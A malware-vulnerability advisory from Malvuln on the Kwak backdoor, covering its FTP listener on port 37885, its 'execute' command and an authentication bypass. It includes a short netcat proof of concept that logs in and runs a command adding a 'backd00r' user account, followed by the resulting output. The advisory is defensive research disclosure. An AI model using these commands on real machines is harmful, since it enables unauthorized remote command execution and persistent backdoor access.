Original source: https://malvuln.com/advisory/c25393545e5ead3a35996ef9a887bd34.txt
Contact:
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Kwak.12
Vulnerability: Remote Command Execution
Description: The backdoor runs an FTP server that listens on TCP
port 37885. The malware is packed using UPX which is trivial to
unpack by using upx -d command, after observe various FTP commands
supported using strings util, we find one interesting string entry
named "execute". Turns out this will let us execute any command on
the infected machine. Third-party adversaries can add a persistent
backdoor account on the infected system or run any command they
wish. This is easily accomplished as the malware also suffers from
a authentication bypass issue reference MVID-2021-0147.
execute cmd /c net user backd00r abc123 /add
226 Executing...
On the infected host.
net user
User accounts for \\DESKTOP-2X3IHHP
-------------------------------------------------------------------------------
Administrator backd00r DefaultAccount
Type: PE32
MD5: c25393545e5ead3a35996ef9a887bd34
Vuln ID: MVID-2021-0149
Dropped files:
Disclosure: 03/25/2021
Exploit/PoC:
nc64.exe x.x.x.x 37885
USER malvuln
331 Password required for malvuln.
PASS root
230 User malvuln logged in.
execute cmd /c net user backd00r abc123 /add
226 Executing...
Disclaimer: The information contained within this advisory is
supplied "as-is" with no warranties or guarantees of fitness of use
or otherwise. Permission is hereby granted for the redistribution
of this advisory, provided that it is not altered except by
reformatting it, and that due credit is given. Permission is
explicitly given for insertion in vulnerability databases and
similar, provided that due credit is given to the author. The
author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage
caused by the use or misuse of this information. The author
prohibits any malicious use of security related information or
exploits by the author or elsewhere. Do not attempt to download
Malware samples. The author of this website takes no responsibility
for any kind of damages occurring from improper Malware handling or
the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
